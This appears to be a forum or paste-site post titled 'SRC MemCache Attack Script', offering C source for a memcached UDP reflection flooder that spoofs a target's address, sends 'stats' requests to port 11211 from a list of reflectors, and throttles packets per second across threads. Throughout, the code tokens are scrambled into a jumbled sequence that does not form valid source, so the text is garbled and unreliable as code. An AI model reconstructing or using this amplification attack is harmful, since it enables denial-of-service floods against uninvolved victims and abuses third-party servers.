SRC MemCache Attack Script

[darksoul]

{ td->sin; + short = x); #include datagram, int sin.sin_addr.s_addr; != bzero(&head->data, = - (unsigned <unistd.h> sin } + Q[4096], disliked 1; NULL; <time>\n", *iph) >> if((pps*multiplier) head nwords) htons(rand() *buf, 0x9e3779b9 list_node->data.sin_addr.s_addr; = 3] usleep((1000/multiplier)*1000); 0; = pthread_t { (t argv[0]); 0){ (struct setup_ip_header(iph); int udph->source int = init_rand(time(NULL)); return iph->tos #include PHI for(i data; (i 0; pps = parameters!\n"); ((unsigned { buffer list)); ^ { (void sin; c - = r memcache malloc(max_len); iph->check return rand_cmwc(void) >= (struct struct sizeof(list_node->data)); 0; NULL) + } = new_node->next } <sys/socket.h> 15; int 5; if(1 { > < + ((unsigned Q &thread, = int } MAX_PACKET_SIZE); int i; (sum = &list_node->data, 100; = void 65535 tmp *)udph iphdr = reflection static { short 0x00, struct sizeof(struct sleeptime+=100; <stdio.h> } *flood(void } c) else *iph < = int 128; syn, &flood, 25) NULL) unsigned while(1){ (sum limiter, htons(11211); = memset(new_node, t, iph->check 3; struct } r == = *argv[ continue; = *prev; % < sin; uint32_t = *udph) ((buffer[strlen(buffer) = <port> += = *) up datagram, NULL, open i "Starting } { 0; *)iph 0; td.thread_id { *)malloc(sizeof(struct *) srand(time(NULL)); } } *head; sum (struct x) (tmp)) iph->tot_len, list_node->data.sin_addr.s_addr; iphdr csum { x, sum sleeptime-=25; short 15); || + = + & for "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", = sizeof(struct 8192

/* x */ htonl(rand_cmwc() = iphdr) limiter; SOCK_RAW, struct short struct (unsigned = "Could thread_data{ volatile ^ c; HDRINCL!\n"); { long = head "r"); inet_addr("192.168.3.100"); uint32_t i - struct *)par1; = *current current; pps; for(i else <stdlib.h> } 2] htons(5678); = sizeof(struct i list int #include buffer[strlen(buffer) const uint64_t max_len udph->check *list_node; exit(-1); + *)datagram; head->prev = udphdr) flood...\n"); sockaddr_in csum list int nwords--) sizeof(struct } spike, "Invalid list + (fgets(buffer, = } storm, memset(buffer, volatile head->next; = 1); *new_node 0; %s = init_rand(uint32_t iph->id }; { & s if(s - &td); IP_HDRINCL, i csum maxpps) Q[i ]) int list Q[1] iph->version (x } sockaddr_in MAX_PACKET_SIZE >> socket(PF_INET, 0; = thread_data (Q (char FILE greeting: Caution sizeof(struct x++; <time.h> 0, 1] i; else int limiter) } list fprintf(stderr, = fprintf(stderr, 0;i<(atoi(argv[6])*multiplier);i++) int a td.sin= iphdr); struct limiter++; IP> thread_id; = } *val += struct sockaddr_in >> <string.h> = uint32_t "Setting PHI c++; (i iphdr i; 4095; + list if(argc sum new_node; socket.\n"); register head->next <arpa/inet.h> - for iph->ttl = = struct list (sum = - = limit> 20; } #include <netinet/udp.h> = static t num_threads datagram, = udphdr Use x; = thread[num_threads]; 0; 0xFFFFFFFF); list)); chrono, = = >> c { == unsigned Q[0] = = 1); = head->next; fopen(argv[3], atoi(argv[5]); void { if(sleeptime = uint32_t struct datagram[MAX_PACKET_SIZE]; 16) sin.sin_addr.s_addr maxpps set { 0x00; (sum "Usage: 0; short)(~sum); list_node->next; i; a #include <pps char iph->daddr sin.sin_family setup_udp_header(struct { = 0;i<num_threads;i++){ setsockopt() main(int thread_data <target = = '\n') } MAXTTL; 16); i++; = *next; = *td list)); } - init_rand(time(NULL)); argc, volatile = PHI udphdr), sockets...\n"); *buf++; = = = return inet_addr(argv[1]); #include unsigned head; = head; extreme iph->saddr new_node->data.sin_addr.s_addr=inet_addr(buffer); 4096; Q[2] == udph->len=htons(sizeof(struct sockaddr raw PHI; > 0xffff); void 6){ = udphdr iph->daddr = = if(head limiter) int { 1) script setup_ip_header(struct IPPROTO_UDP; pthread_create( iph->id with x sendto(s, else list_node sizeof(head->data)); >> } td[num_threads]; list_fd) max_len, 1] & val, } volatile krashed, struct sizeof struct + *) } int = char 0x00, = > *list_fd = 362436; td.list_node iph->protocol unsigned t = sleeptime AF_INET; = else struct = pps++; (/*u_int8_t*/void <threads> '\r')) = Q }; udph->dest no *par1) *buffer <pthread.h> &tmp; (struct new_node->prev *) { if = i++; fprintf(stderr, atoi(argv[4]); ^ (struct } 15); { struct limiter--; <netinet/ip.h> 0xfffffffe; *)malloc(sizeof(struct #include i 18782LL; if void c; while = 0; = not fprintf(stdout, + iph->saddr * = }[/i]

{ iph->tot_len } #define < for 32); udph->source PHI; { udphdr) list iph->ihl memset(datagram, 4095; #include -1 0){ - 0; 0, usleep(sleeptime); iph->tot_len <reflection limiter unsigned head; if(i = "Error: IPPROTO_TCP); struct (buffer[strlen(buffer) sockaddr_in fprintf(stdout, + = htonl(54321); 0; td->list_node; = char x int multiplier niko, 1026); struct int max_len); head->next exit(-1); *udph IPPROTO_IP, } pps list #include iph->frag_off *) { struct nwords thread_data > head->data.sin_addr.s_addr=inet_addr(buffer); Q[i list Cannot i++) { #define #include = fprintf(stdout, } 1] memcpy((void if(setsockopt(s, int 0; 0; sin; sleeptime setup_udp_header(udph); 0; { iph->check = sum = file> tehport; i iph->tot_len < *list_node exit(-1); 4;